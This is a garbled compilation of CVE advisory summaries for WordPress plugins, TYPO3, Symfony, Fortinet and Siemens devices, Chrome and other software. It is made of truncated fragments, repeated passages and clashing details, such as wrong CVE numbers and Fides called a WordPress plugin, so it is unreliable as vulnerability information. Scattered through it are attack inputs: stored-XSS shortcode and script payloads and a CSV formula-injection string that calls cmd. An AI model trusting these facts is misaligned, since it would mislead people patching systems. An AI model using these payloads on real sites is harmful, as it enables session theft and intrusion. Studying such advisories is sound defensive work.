**Schneider Electric plugin for WordPress.** Specifically, the vulnerability arises from insufficient input sanitization and output encoding. An attacker with administrator access could potentially insert a malicious JavaScript code into an input field on a form. It concerns the generation of one-time codes using the cryptographically weak 'random' module, which is not cryptographically secure, to generate one-time codes used for identity verification of data submitted by users. Users are advised to upgrade to this version or later to protect their systems against the vulnerability. Mitigating the deletion of personal data held by the data controller, or unauthorized modifications to a user's private information. To mitigate the vulnerability is to upgrade to Fides version 2.24.0 or later, where the issue has been resolved. A user can project user and generating multiple one-time codes to analyze the pattern. Once able to predict future codes, an attacker could use this information to craft a malicious link.

This flaw allows an attacker to see the filesystem paths on the server, which is particularly problematic for Pimcore installations. The function returns the full path to the requested file, such as `10d178ef771`, which is part of the release version 1.2.1. Users are advised to upgrade to this version or later to protect their systems against the vulnerability. This information could facilitate other attacks described in CVE-2023-47636. The recommended action is to upgrade to at least version 1.2.1 of the Huntr platform, which includes the GitHub commit that patches the issue, the GitHub security advisory, and the Huntr platform warning. The snippet before it was patched:

eb application, which can cause the application to redirect to a chosen domain after a successful login i  
s, which might be used by attackers to execute a cross site scripting (XSS) attack. This could compromi  
e at: [https://download.schneider-electric.com/files?p\\_Doc\\_Ref=SEVD-2023-318-02&p\\_enDocType=Se](https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-318-02&p_enDocType=Se)  
at includes URL-encoded redirect parameters. When an unsuspecting user logs in, they would be redi  
d sanitize all input, especially URL parameters. It should also implement proper URL redirection policie  
ficient validation of URL parameters. An example might look like the following in a web application wri  
tion of Input During Web Page Generation' or Cross-Site Scripting (XSS).

Attacker with admin privileges could modify system values, and when these values are rendered in the

at the following URL: [https://download.schneider-electric.com/files?p\\_Doc\\_Ref=SEVD-2023-318-01&r](https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-318-01&r)  
e privileges on the vulnerable system could inject malicious scripts into certain configurable system va  
se Score is part of the Common Vulnerability Scoring System (CVSS) and is typically used to determine  
tem, which is based on Laravel and utilizes Git. This vulnerability arises because certain PHP files, craft  
uploading it via the 'Forms' feature on the front-end or through asset upload fields in the control pane  
ng affected versions are advised to update their installations to the latest version to protect against th  
upgrade to the patched versions of Statamic, namely 3.4.14 or 4.34.0, to close the security gap.

Statamic, as it would allow a malicious user to upload and execute code. This could lead to unauthorized  
ng the vulnerability at <https://github.com/statamic/cms/commit/4c6fe041e2203a8033e5949ce4a5d9c>  
avel + Git powered content management system. More precisely, the vulnerability resides in versions

us HTTP client/server framework for asyncio and Python.

the HTTP protocol in the aiohttp package.

can cause incorrect interpretation of these headers by entities that parse HTTP. This may lead to poison  
er-Encoding: chunked123' header to a frontend reverse proxy, which ignores the header and processes  
package.

2023-47641.

The action is to upgrade the aiohttp package to the patched version.

it URL '<https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371>' a

ollaboration, Feedback & Project Management – Atarim plugin for WordPress, versions up to and inclu

S attacks. This means that the attacker can inject malicious scripts that are saved by the web applicatio  
rability.

in the form of a script, to a vulnerable area of the affected plugin, such as a comment field, a form, or a  
Management – Atarim plugin for WordPress, versions 3.12 and below.

<https://patchstack.com/database/vulnerability/atarim-visual-collaboration/wordpress-atarim-plugin-3-11-1>  
ient or feedback with a specially crafted script on a website using a vulnerable version of the Atarim pl

/ user input, which may allow an attacker to execute arbitrary code and potentially compromise the hc  
.30. There are no known workarounds for this vulnerability.

serialize()` function on user input without proper validation or sanitization: ```php\$userData = \$\_GET['c  
le that, when unserialized, could execute on the server. This could lead to unauthorized access, data le

<https://github.com/yiisoft/yii/commit/37142be4dc5831114a375392e86d6450d4951c06> - <https://github.com/yiisoft/yii/commit/37142be4dc5831114a375392e86d6450d4951c06>

ated for one site could be reused on a different site within the same TYPO3 installation without requirements where the issue has been addressed, which include 8.7.55, 9.5.44, 10.4.41, 11.5.33, and 12.4.8. It installs to versions 8.7.55, 9.5.44, 10.4.41, 11.5.33, or 12.4.8, as appropriate. These versions causing a session cookie from the first site (e.g., `first.example.org`) and then using that session cookie to gain of the vulnerability in action are not typically shared publicly to prevent misuse. However, the nature URLs: 1. <https://github.com/TYPO3/typo3/commit/535dfbdc54fd5362e0bc08d911db44eac7f64019> 2. <https://github.com/TYPO3/typo3/commit/1a735dac01ec7b337>

nt management. It is released under the GNU General Public License (GPL) and offers tools to build an It specifically affects the login screen of the standalone install tool in composer-based TYPO3 installations of the standalone install tool in affected TYPO3 instances. An example path that might be disclosed would installation to the patched version 12.4.8, where the issue has been addressed. This upgrade will prevent to upgrade to TYPO3 version 12.4.8 to resolve the vulnerability.

rmation could potentially assist an attacker in carrying out further attacks. For instance, knowing the s . A commit fixing the issue on GitHub: <https://github.com/TYPO3/typo3/commit/1a735dac01ec7b337> HP based web content management system. The vulnerability arises from improper handling of DOM | typo3/html-sanitizer, as these versions address the vulnerability. There are no known workarounds for information. However, it is known that the vulnerability has been addressed in versions 1.5.3 and 2.1. |rade to the patched versions of the typo3/html-sanitizer, which are 1.5.3 and 2.1.4, to resolve the vuln

GitHub commit which addresses the issue: <https://github.com/TYPO3/html-sanitizer/commit/b8f907>: bad with DOM processing instructions that are not properly handled by the typo3/html-sanitizer comp TIBCO Software Inc.'s TIBCO EBX and TIBCO Product and Service Catalog powered by TIBCO EBX. It's class .9.22 and below, versions 6.0.13 and below, and TIBCO Product and Service Catalog powered by TIBCC pages, which are then saved and executed when the page is viewed. As a stored XSS vulnerability, the could be because the scoring is pending, or the information just wasn't included in the provided details

TIBCO Software Inc.'s official support page at <https://www.tibco.com/services/support/advisories>. licious script and injecting it into the application's input fields or data storage areas. When other users |ing FortiADC 7.1.0 - 7.1.1 and FortiDDoS-F 6.3.0 - 6.3.4 and 6.4.0 - 6.4.1. This vulnerability is caused by | FortiDDoS-F versions 6.3.0 to 6.3.4 and 6.4.0 to 6.4.1. id obtain sensitive information by sending crafted web requests to the vulnerable system.

ference URL provided: <https://fortiguard.com/psirt/FG-IR-22-518>. Users should refer to this advisory | requests that exploit the permissive cross-domain policy of the affected Fortinet devices. The attacker w the most accurate risk assessment, one should check the references provided or other official vulnerabied under CWE-307, which stands for an improper restriction of excessive authentication attempts. Th 6, and all versions before 6.4.8. Users of these versions are at risk of exploitation from this vulnerabilit This means that the attacker can attempt to repeatedly login to the FortiMail webmail system without

FortiGuard Labs security advisory page at the following URL: <https://fortiguard.com/psirt/FG-IR-23-28>

ons, there isn't a specific code example that would demonstrate the vulnerability. Instead, an example restrictions on login attempts to FortiMail webmail. The attacker could use automated tools to systematically quantify the severity of the vulnerability; however, without such a score, users are advised to refer through 7.2.2 and before 7.0.5. It is categorized as an 'improper authorization' issue under the Common脆弱性 7.0.5. Users of these versions are at risk from this vulnerability.

Address book folders for other users without proper authorization. This could potentially lead to privacy Guard Labs report is available at: <https://fortiguard.com/psirt/FG-IR-23-203>.

were published, likely allowing the vendor and the user community to acknowledge and address the security issue to the FortiMail webmail server. Since this request exploits an improper authorization flaw, it does not specify the vulnerability, crafts a malicious HTTP or HTTPS request that exploits the improper authorization yet. The base score would typically provide a quantitative measure of the severity of the vulnerability, 3.4-6096.

es not correctly authenticate users in the PUD Manager web service. This flaw could be exploited by an

advisory at the following URL: <https://cert-portal.siemens.com/productcert/pdf/ssa-456933.pdf>.  
ne network as the vulnerable SIMATIC PCS neo system. Exploiting the vulnerability, the attacker could authentication mechanisms, generic code examples would not be practical or applicable for understanding  
ate to version V4.1 or later to mitigate this vulnerability. It is important to regularly check vendor releases for RUGGEDCOM and SCALANCE products. This vulnerability is due to insufficient validation of input lengths when  
d SCALANCE routers, switches, and other networking devices. Specifically, the list includes various models of the affected device. They would then perform configuration changes that involve input data, but the selected Siemens device's web interface becomes inaccessible. As a result, the administrators would be unable to access the device's configuration interface.

cert-portal. The following references provide detailed information: '<https://cert-portal.siemens.com/productcert/pdf/ssa-456933.pdf>'

RUGGEDCOM, SCALANCE, and SIPLUS NET devices from Siemens. It revolves around improper validation of directory traversal models within the RUGGEDCOM RM1224, SCALANCE M series routers, SCALANCE S series, SCALANCE X series, and SCALANCE G series.

access to the web interface of an affected Siemens device. Then, they would perform certain undisclosed actions. At the time of publishing, the impact and severity of the vulnerability had not yet been fully assessed.

revisions, which likely contain recommendations for mitigation or fixes. Users of affected devices should review the advisory for more details. It is recommended to update the device to the latest version 25.0.0 that allows for a Directory Traversal attack. This issue enables an attacker to create new files on the device, allowing attackers to traverse the server's directory structure and place arbitrary PHP files in the webroot.

The 'Template File Destination' parameter in the 'GibbonEdu' plugin could misuse the 'templateFileDestination' parameter.

erolab at the following URL: <https://herolab.usd.de/security-advisories/usd-2023-0022/>

1.0.

o the latest version where the vulnerability has been fixed. If no update is available, it is recommended to use the 'Printers' plugin for WordPress. It is a Reflected Cross-Site Scripting (XSS) vulnerability that affects all versions of the plugin. The vulnerability is targeted at the 'printersettings' parameter of the affected plugin. If they can entice a user to click on a link containing the XSS payload, and a victim must click on the link. The victim needs to have a

form cross-site scripting attacks. This could lead to various consequences, such as stealing users' session for the vulnerability, which is evident from the changes in the plugin's repository indicated by the references up to and including 2.0.3. Users of these versions are advised to update the plugin to a version, the references include links to resources that may discuss the vulnerability in detail and possibly contain more information. The latest version is CVE-2023-46092.

ws for Stored Cross-Site Scripting (XSS) in LionScripts.Com Webmaster Tools.  
up to and including version 2.0.

<https://patchstack.com/database/vulnerability/webmaster-tools/wordpress-webmaster-tools-plugin-2-0-crafting-a-malicious-request-to-execute-unauthorized-actions-on-behalf-of-an-authenticated-user> Since generally speaking, a code example for a CSRF vulnerability might involve an HTML form that is auto-saved for Stored Cross-Site Scripting (XSS). An attacker with contributor-level access can exploit this vulnerability.

sions or higher. They can inject arbitrary web scripts into pages using the 'powr-powr-pack' shortcode.

1. <https://plugins.trac.wordpress.org/browser/powr-pack/trunk/src/pack.php?rev=2821707#L198> 2. writes a post and includes a specifically crafted 'powr-powr-pack' shortcode containing XSS payload. When later than 2.1.0 as soon as such a version becomes available. It is also advisable to follow the principle of least privilege by involving a contributor using the following malicious shortcode in a post: [```powr-powr-pack id="" onn or WordPress. This vulnerability is categorized as a Stored Cross-Site Scripting (XSS) issue that affects:

WordPress up to and including 2023.8.

higher permissions to a WordPress site with the vulnerable plugin. They would inject arbitrary web scripts that could lead to Local File Inclusion (LFI) in the Webpushr Web Push Notifications plugin version 4.34.0.

the WordPress plugin repository Trac and security analysis reports. A few examples of these references might look like the following. An attacker with the necessary permissions could insert into a WordPress script that could steal cookies, hijack user sessions, deface the website, redirect users to phishing URLs (RF) issue which can lead to Local File Inclusion (LFI) in the Webpushr Web Push Notifications plugin version 4.34.0.

all versions up to and including 4.34.0.

following reference link: <https://patchstack.com/database/vulnerability/webpushr-web-push-notifications-local-file-inclusion-lfi> send a crafted request to a susceptible website that tricks the web application server into executing user input. The score has not been assigned yet or is not provided in the given data.

us webpage or email with embedded requests to the target website where the vulnerable Webpushr 'XSS' attack, where attackers can embed arbitrary JavaScript code into the Web UI. This manipulation of

script code, which could be executed in the context of the user's session when rendered by a vulnerable

vided by IBM for CICS TX Advanced 10.1 to address the XSS vulnerability. Additionally, user input should be submitted to the IBM X-Force Exchange website at the following URLs: <https://www.ibm.com/support/pages/node/706>

'ebcodin WCP OpenWeather plugin for WordPress, affecting versions up to and including 2.5.0. CSRF vulnerability up to and including 2.5.0.

t: <https://patchstack.com/database/vulnerability/wcp-openweather/wordpress-wcp-openweather-plugin-1-0-1/>

t provide an exact code example. However, a generic CSRF vulnerability might occur in a form submitted on a web page or email that includes an automatic submission of a form. The form would execute a request to the WebDorado WDSocialWidgets plugin for WordPress. The vulnerability affects versions of the plugin up to and including 2.5.0.

at, when visited by a logged-in administrator of a WordPress site using the affected plugin, can trigger a signed request.

<https://patchstack.com/database/vulnerability/spider-facebook/wordpress-wdsocialwidgets-plugin-1-0-1/> This issue is present in the WDSocialWidgets plugin for WordPress, which allows users to send an email with a form that includes actions that the WebDorado WDSocialWidgets plugin would perform. The vulnerability affects versions of the plugin up to and including 1.0.15.

Speed Optimization Addon plugin for WordPress. Specifically, it is a Cross-Site Request Forgery (CSRF) vulnerability.

Speed Optimization Addon plugin for WordPress.

<https://vulnhub.com/vulnerability/wp-meteor/wordpress-wp-meteor-page-speed-optimization-topping-plugin-3-1-4-cr/> This issue is present in the WP-Meteor Page Speed Optimization Topping plugin for WordPress, which allows users to install the plugin to the latest version that addresses the CSRF vulnerability. If the plugin developer allows a logged-in WordPress administrator into clicking a malicious link or loading a webpage with malicious JavaScript code, the user could be tricked into executing arbitrary JavaScript code on their browser.

0. This vulnerability could allow attackers to inject arbitrary JavaScript code into the Web UI, which could lead to various types of attacks, such as XSS or clickjacking.

/exchange.xforce.ibmcloud.com/vulnerabilities/267484- <https://www.ibm.com/support/pages/node/267484>

the execution of unauthorized scripts that could manipulate web page content, redirect users to phishing sites, or steal sensitive information. If the unsuspecting user clicks on the link while using the plugin, an attacker could exploit this vulnerability to inject malicious JavaScript code into the user's browser.

only framework.

3-46735.

This issue is present in the 'WebhookController' component of the 'CodeExtension' bundle for Symfony. It allows unescaped user-submitted input in the error message, which could potentially lead to vulnerabilities such as XSS or SQL injection. The 'WebhookController' no longer returns any user-submitted input in its response, thus preventing input from being rendered as HTML.

<https://github.com/symfony/symfony/commit/8128c302430394f639e818a7103b3f6815d8d962-> <https://github.com/symfony/symfony/commit/5d095d5feb132> This issue is present in a Symfony application that uses the 'WebhookController'. If the application is running a version of Symfony that is older than 4.4.51, 5.4.31, or 6.3.8, it is vulnerable to this issue. Versions 4.4.51, 5.4.31, and 6.3.8 fix this issue.

This issue is present in the 'CodeExtension' bundle for Symfony. It allows unescaped user-submitted input in the error message, which could potentially lead to vulnerabilities such as XSS or SQL injection. The 'WebhookController' no longer returns any user-submitted input in its response, thus preventing input from being rendered as HTML. This can lead to XSS attacks, where an attacker can inject malicious scripts into the output of the controller. The issue was discovered in the Twig filters within the 'CodeExtension' bundle. The versions that are vulnerable are those prior to 4.4.51, 5.4.31, and 6.3.8. Versions 4.4.51, 5.4.31, and 6.3.8 fix this issue.

It appears that the Base Score for this CVE entry has not been assigned or publicly disclosed at this time due to improper escaping: `{{ some\_user\_input|raw }}` In this code, `some\_user\_input` represents `SessionStrategyListener` does not migrate the session after every successful login. It only regenerates the session and continues until it is fixed in versions 5.4.31 and 6.3.8.

ssionStrategyListener` logic. As of versions 5.4.31 and 6.3.8, Symfony now checks both the user identifier and the session ID. An attacker could exploit the vulnerability by providing a victim with a known session ID (typically through a link). You can commit resolving the issue in the Symfony Github repository: <https://github.com/symfony/symfony/commit/5.4.31>

earlier.

er who can execute an arbitrary script on the web browser of the user who is logging in to HOTELDRUI

ding the Japan Vulnerability Notes (JVN) at <https://jvn.jp/en/jp/JVN99177549/>, and the official HOTEL us link containing a script, which when clicked by a user logging into HOTELDRUID, runs the script in th able or does not exist.

23.3.36. It is a path traversal issue that can lead to code execution when an attacker successfully writes to files on a Tomcat server, which can subsequently lead to remote code execution. This means that an attacker can exploit SysAid On-Premise installation to version 23.3.36 or later, in which the vulnerability has been patched. An affected system that includes relative path notations (like '..') to navigate out of the intended directory. The severity of the impact would depend on the specific details of the exploitation, such as the nature of the payload. For more information, refer to SysAid's official documentation and blog post. These sources offer details regarding the installation of the patch and its impact.

## Database plugin.

including 2.4.9.

; a Patchstack database link: <https://patchstack.com/database/vulnerability/participants-database/wc>

page or email with a forged request (such as a form submission) that performs an action on the Participant's account. It's important to use a library or framework that provides a secure way to handle such requests, such as the latest version that has addressed the CSRF vulnerability. It's also recommended to implement CSRF tokens. The specific issue mentioned in the error message is CVE-2023-32512.

el Adaptive Images plugin. This vulnerability could allow an attacker to perform actions on behalf of a user in versions up to and including 3.7.1.

not available.

ing link: <https://patchstack.com/database/vulnerability/shortpixel-adaptive-images/wordpress-shortpixel-csrf/>  
A page or email containing a forged request aimed at a vulnerable WordPress site with the ShortPixel Adaptive Images plugin installed. Such requests can reveal sensitive or dangerous details, generally, a CSRF attack might involve an HTML form that is automatically filled with user data.

s of the Web\_Trendy WP Custom Cursors | WordPress Cursor Plugin that are earlier than 3.2. Attach s of the WP Custom Cursors plugin that are older than 3.2.

It could be due to the fact that the reviewing process is still ongoing, or the relevant data needed to calculate the scores is not yet available.

g URL: <https://patchstack.com/database/vulnerability/wp-custom-cursors/wordpress-wp-custom-cursors/> that, when executed by a victim who is currently authenticated to the WordPress admin panel, might cause the Web\_Trendy WP Custom Cursors | WordPress Cursor Plugin to the latest version, which at the time of writing, is version 1.0.1.

In a shared hosting environment that allows access to other users' content, a user with direct access to the web server (e.g., via SSH) and the hosting environment, if misconfigured, they could potentially gain access to sensitive information or even execute arbitrary code.

Instances:- The Moodle Git repository: <http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=co> mmit ID 'MDL-667' found at this URL: <http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-667> could contribute to its misuse. However, generally, such exploits would involve crafting a URL or a file to exploit a vulnerability in the application.

The Moodle Git repository: <http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=co> mmit ID 'MDL-667' found at the following URLs:- Red Hat Bugzilla: [https://bugzilla.redhat.com/show\\_bug.cgi?id=224345](https://bugzilla.redhat.com/show_bug.cgi?id=224345): This vulnerability is identified by CVE ID 'CVE-2023-5549'. It allows an unauthorized user to move categories they are allowed to manage to a parent category for which they have provided data.

The Moodle Git repository: <http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=co> mmit ID 'MDL-667' found at this URL: <http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-667> found at the following URLs:- Red Hat Bugzilla: [https://bugzilla.redhat.com/show\\_bug.cgi?id=224345](https://bugzilla.redhat.com/show_bug.cgi?id=224345): This vulnerability is identified by CVE ID 'CVE-2023-5549'. It allows an unauthorized user to move categories they are allowed to manage to a parent category for which they have provided data.

Web fonts plugin.

below.

on 09 November 2023.

This vulnerability can be found at the provided reference link: <https://patchstack.com/database/vulnerability/ts-webfonts-vulnerability/>. It allows an unauthorized user to perform forbidden actions on behalf of a logged-in user within the application, without the user's knowledge.

The WordPress plugin is CVE-2023-47238.

The Fides plugin is affected by the CVE-2023-47238 vulnerability.

The CSRF issue described in CVE-2023-47238.

The Fides plugin is affected by the CVE-2023-47238 vulnerability. This vulnerability allows an unauthorized user to perform forbidden actions on behalf of a logged-in user without their consent by tricking them into clicking a malicious link in an email, sending a targeted user a phishing email with a malicious link embedded, or embedding malicious code into a targeted user's environment. This is possible because it has not been calculated or has not been published.

The Fides plugin is affected by the CVE-2023-47238 vulnerability. This vulnerability allows an unauthorized user to perform forbidden actions on behalf of a logged-in user without their consent by tricking them into clicking a malicious link in an email, sending a targeted user a phishing email with a malicious link embedded, or embedding malicious code into a targeted user's environment. The most commonly used format being a series of HTML files that are compressed into a ZIP file.

The Fides plugin is affected by the CVE-2023-47238 vulnerability. This vulnerability allows an unauthorized user to perform forbidden actions on behalf of a logged-in user without their consent by tricking them into clicking a malicious link in an email, sending a targeted user a phishing email with a malicious link embedded, or embedding malicious code into a targeted user's environment. The most commonly used format being a series of HTML files that are compressed into a ZIP file.

The Fides plugin is affected by the CVE-2023-47238 vulnerability. This vulnerability allows an unauthorized user to perform forbidden actions on behalf of a logged-in user without their consent by tricking them into clicking a malicious link in an email, sending a targeted user a phishing email with a malicious link embedded, or embedding malicious code into a targeted user's environment. The most commonly used format being a series of HTML files that are compressed into a ZIP file. The primary issue with CVE-2023-47238 is related to the lack of validation for user-generated content.

ides an information block to reassure customers of a store's trustworthiness. This vulnerability allows an attacker to gain back-office access to delete critical files from the PrestaShop installation. This could lead to service disruption. Users of the module are recommended to update to this version or later, to ensure they are protected. The patch can be found in the following commits:- <https://github.com/PrestaShop/blockreassurance/commit/2>. The advisory provides more details about the vulnerability and the patches. The advisory can be accessed at the following link. Google Chrome prior to version 119.0.6045.123. This security flaw could allow a remote attacker to potentially exploit it. Higher versions of Chrome would need to update to the patched version to mitigate this security risk.

ntage of the 'use after free' vulnerability in the WebAudio component of an unpatched version of Google's official Chrome Releases blog at <https://chromereleases.googleblog.com/2023/11/stable-channel.html>. For more information on the severity and impact, refer to the data from the sources such as the Common Vulnerability Scoring System (CVSS) and the National Vulnerability Database (NVD). A crafted web page that, when visited by a user with a vulnerable version of Chrome, could trigger the vulnerability. This patch was released in November 2023, bringing Chrome to version 119.0.6045.123 or later, which contains the necessary patch to fix the vulnerability. The associated CVE number is CVE-2023-47227.

versions of the Web-Settler Social Feed plugin up to and including 1.5.4.6. This vulnerability allows user sessions up to and including 1.5.4.6.

[istack.com/database/vulnerability/add-facebook/wordpress-social-feed-all-social-media-in-one-place](http://istack.com/database/vulnerability/add-facebook/wordpress-social-feed-all-social-media-in-one-place)

In a real attack, the script would be: `<script>alert('XSS')</script>`. The full exploit payload for this vulnerability (CVE-2023-47227) is as follows:

..0.20 and below of the I Thirteen Web Solution Post Sliders & Post Grids WordPress plugin, which req

ck.com/database/vulnerability/post-slider-carousel/wordpress-post-sliders-post-grids-plugin-1-0-20-c  
o the affected plugin injecting malicious JavaScript code into the plugin's settings or content areas. Wt  
execute stored XSS attacks. This could compromise the integrity and confidentiality of user data, man

WeBid.

attackers to execute arbitrary code on the system hosting WeBid, leading to a compromise of the web application (described as 'N/A').

e.github.io/2023/webid.html.

request to 'admin/categoriestrans.php' with malicious code that the vulnerable application then executes this vulnerability. If a security patch is not available, consider implementing input validation and sanitization which pertains to Stored Cross-Site Scripting (XSS) through the admin settings. This issue affects all versions of the admin settings of the vulnerable Amazonify WordPress plugin. The attacker can insert arbitrary unfiltered\_html capability has been disabled. In a typical WordPress site, users with the 'Administrator' role can exploit this vulnerability to CVE-2023-5819.

acker to execute arbitrary JavaScript code in the context of the victim's browser. This can result in session fixation attacks.

Update the Amazonify plugin for WordPress to a version that has addressed the vulnerability. Additionally,

to Cross-Site Request Forgery (CSRF). An attacker could potentially use CSRF to trick a user into submissions in a CSV file is CVE-2022-45370.

Export plugin.

o and including 2.3.1.

<https://patchstack.com/database/vulnerability/comments-import-export-woocommerce/wordpress-wordpress-csv-injection/>, which is commonly referred to as a CSV injection or formula injection vulnerability.

which are then imported by unsuspecting users into a spreadsheet application. For instance, an attacker could craft a payload resembling a spreadsheet formula, such as '=SUM(1+1)\*cmd | /C notepad!A1'. If the 'Reviews Import Export for WooCommerce' plugin is used on WordPress sites to import and export data from WooCommerce plugin from the initial release up to and including version 1.4.8.

This means that a numeric representation of the severity of the vulnerability has not been provided, which can be inferred from the title.

The following URL: [<https://patchstack.com/database/vulnerability/product-reviews-import-export-for-woocommerce-csv-injection/>] contains a CSV file with embedded formulas or commands that are designed to be executed when the file is opened. This is a Stored Cross-Site Scripting (XSS) issue that arises due to the 'Giftup' plugin for WooCommerce. It is a Stored Cross-Site Scripting (XSS) issue that arises due to the 'Giftup' plugin for WooCommerce. A vulnerable plugin could exploit CVE-2023-5703 by injecting arbitrary web scripts through the 'giftup' shortcode, including stealing user session cookies, defacing web pages, redirecting users to malicious sites, and so on. <https://plugins.trac.wordpress.org/browser/gift-up/tags/2.20.1/view/giftup-checkout.php#L462>. <https://cvss.mitre.org/> provides the CVSS score for this vulnerability.

The 'Giftup' plugin up to and including version 2.20.1 is vulnerable to this type of stored XSS.

An attacker inserting a shortcode with a malicious script, such as: [ giftup att1="><script>/\*malicious code\*/" ], could exploit this vulnerability to inject arbitrary web scripts through the 'giftup' shortcode, such as CVE-2023-5669.

The 'Featured Image Caption' plugin for WordPress is also vulnerable to this type of stored XSS.

This is due to insufficient input sanitization and output escaping on user input. CVE-2023-5669 describes a vulnerability in the 'Featured Image Caption' plugin for WordPress, where the plugin is prone to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization.

A user with at least author-level permissions can add or edit posts on a WordPress site using the affected 'Featured Image Caption' plugin.

This could result in unauthorized access to the site, such as injecting malicious JavaScript into pages on a WordPress site using the vulnerable plugin.

The 'Social Feed' plugin for WordPress is also vulnerable to this type of stored XSS described in CVE-2023-5669. An attacker could exploit this vulnerability by crafting a malicious script and submitting it through the vulnerable shortcode or post meta fields. For example, the plugin's code can be seen here: <https://plugins.trac.wordpress.org/browser/social-feed/tags/1.5.4.6/>. Investigations into the plugin's code can be seen here: <https://plugins.trac.wordpress.org/browser/social-feed/tags/1.5.4.6/>. The vulnerability arises because the plugin does not properly sanitize user input. A user with at least author-level permissions can add or edit posts on a WordPress site using the affected 'Social Feed' plugin for WordPress. This level of access gives them the ability to add or edit posts whenever a user accesses a page injected with the malicious shortcode. This could result in unauthorized access to the site, such as injecting malicious JavaScript into pages on a WordPress site using the vulnerable plugin.

It is recommended that users of the 'Social Feed' plugin update to version 1.5.4.6 or later. Users of the plugin should check for updates and refer to official communications from the plugin developer. A user with at least author-level permissions can add or edit posts on a WordPress site using the affected 'Social Feed' plugin for WordPress. This level of access gives them the ability to add or edit posts whenever a user accesses a page injected with the malicious shortcode. This could result in unauthorized access to the site, such as injecting malicious JavaScript into pages on a WordPress site using the vulnerable plugin.

CVE-2023-5660 describes a vulnerability in the 'Social Feed' plugin for WordPress, where there is a Stored Cross-Site Scripting (XSS) vulnerability due to insufficient input sanitization.

An attacker could exploit this vulnerability by crafting a malicious script and submitting it through the vulnerable shortcode or post meta fields. For example, the plugin's code can be seen here: <https://plugins.trac.wordpress.org/browser/social-feed/tags/1.5.4.6/>. Investigations into the plugin's code can be seen here: <https://plugins.trac.wordpress.org/browser/social-feed/tags/1.5.4.6/>. The vulnerability arises because the plugin does not properly sanitize user input. A user with at least author-level permissions can add or edit posts on a WordPress site using the affected 'Social Feed' plugin for WordPress. This level of access gives them the ability to add or edit posts whenever a user accesses a page injected with the malicious shortcode. This could result in unauthorized access to the site, such as injecting malicious JavaScript into pages on a WordPress site using the vulnerable plugin.

ble to CVE-2023-5660.

by checking the references provided, such as the plugin's Trac page or the Wordfence Threat Intelligence site. An attacker could exploit this vulnerability by inserting a malicious shortcode with JavaScript. For example, they could insert a malicious script into the 'interact-quiz' shortcode attribute like so: [interact-quiz id="quiz123" title=""]><script>alert('XSS')</script>. This allows attackers to store malicious scripts in the web application's database. These scripts can then be triggered by user interaction, leading to XSS attacks.

WordPress plugin are vulnerable to CVE-2023-5659.

ove permissions, by injecting arbitrary web scripts through the 'interact-quiz' shortcode attributes. The attacker could inject a malicious script into the 'interact-quiz' shortcode attribute like so: [interact-quiz id="quiz123" title=""]><script>alert('XSS')</script>. This allows attackers to steal user credentials, performing actions as the user, redirecting to phishing sites, or delivering malware. The information is available in the plugin's Trac repository.

WordPress plugin repository, specifically at the source code for the affected version: <https://plugins.trac.wordpress.org/browser/wp-bitly/trunk/includes/class-wp-bitly-shortlink.php?rev=276777>.

bitly's plugin for WordPress.

CVE-2023-5577.

oits through the 'wpbitly' shortcode due to insufficient input sanitization and output escaping on user-supplied data. This vulnerability is similar to CVE-2023-5577 in the Bitly's plugin for WordPress.

An attacker could exploit this vulnerability by injecting a malicious script into the 'wpbitly' shortcode attribute, which would then be executed in the user's browser when they access a page injected with the exploit, potentially leading to unauthorized access or data theft.

WordPress plugin repository at '<https://plugins.trac.wordpress.org/browser/wp-bitly/trunk/includes/class-wp-bitly-shortlink.php?rev=276777>'. A sample might look something like this: User submits a shortcode through a post that includes harmful JavaScript. Specifically in versions up to and including 1.0. It allows for Stored Cross-Site Scripting (XSS) via the 'qr' shortcode attribute. An attacker with contributor-level permissions to exploit the vulnerability in the QR Code Tag plugin. They can inject malicious JavaScript into the user's browser when they access a page injected with the exploit, potentially leading to unauthorized access or data theft.

This requires the attacker to have at least contributor-level access to the WordPress site to inject malicious scripts. An attacker could exploit this vulnerability by creating a post or a page with the 'qr' shortcode and adding a JavaScript payload to it.

WordPress plugin repository at '<https://plugins.trac.wordpress.org/browser/qr-code-tag/trunk/lib/qrct/QrctWp.php>'.

Page Plugin for WordPress. It exists due to insufficient input sanitization and output escaping within the plugin's codebase. This vulnerability is similar to CVE-2023-4888.

An attacker could exploit this vulnerability by injecting a malicious script into the 'qr' shortcode attribute, which would then be executed in the user's browser when they access a page injected with the exploit, potentially leading to unauthorized access or data theft.

This vulnerability is present in the 'qr' shortcode attribute of the QR Code Tag plugin. An attacker with contributor-level permissions to exploit the vulnerability in the QR Code Tag plugin. They can inject malicious JavaScript into the user's browser when they access a page injected with the exploit, potentially leading to unauthorized access or data theft.

Page Plugin for WordPress. It is caused by insufficient input sanitization and output escaping on user-supplied data. This vulnerability is similar to CVE-2023-4842.

An attacker could exploit this vulnerability by injecting a malicious script into the 'qr' shortcode attribute, which would then be executed whenever a user accesses an injected page. This could lead to various attacks such as XSS or clickjacking.

repository pages and on security websites, such as Wordfence, that track vulnerabilities. Here are some steps to follow if you suspect your site has been compromised:

- Script and submit a post or a page for review that includes this malicious shortcode. When another user reviews it, they can identify the exploit.

The 'Number Linker' plugin for WordPress, affecting all versions up to and including 1.2. This vulnerability is tracked as CVE-2023-5743 and allows for Stored Cross-Site Scripting (XSS). An attacker could inject arbitrary web scripts into pages using the 'telnumlink' shortcode.

up to and including version 1.2.

The 'WP MapIt' plugin, a hypothetical example of the exploit could be an authenticated user entering a shortcode like this: `/wp-content/plugins/telephone-number-linker/tags/1.2/telnumlinker.php#L34- https://plugins.trac.wordpress.org/browser/telephone-number-linker/tags/1.2/telnumlinker.php#L34-` and injecting a payload into the content using the flawed 'telnumlink' shortcode. The payload then executes without any restrictions, allowing for Stored Cross-Site Scripting (XSS). This vulnerability exists in all versions up to and including 1.2.0 or higher by using the 'wp\_mapit' shortcode to inject arbitrary web scripts into a WordPress page.

This exploit can be triggered on any page or post where the WP MapIt plugin is installed. Users with higher permissions, such as administrators, can trigger the exploit.

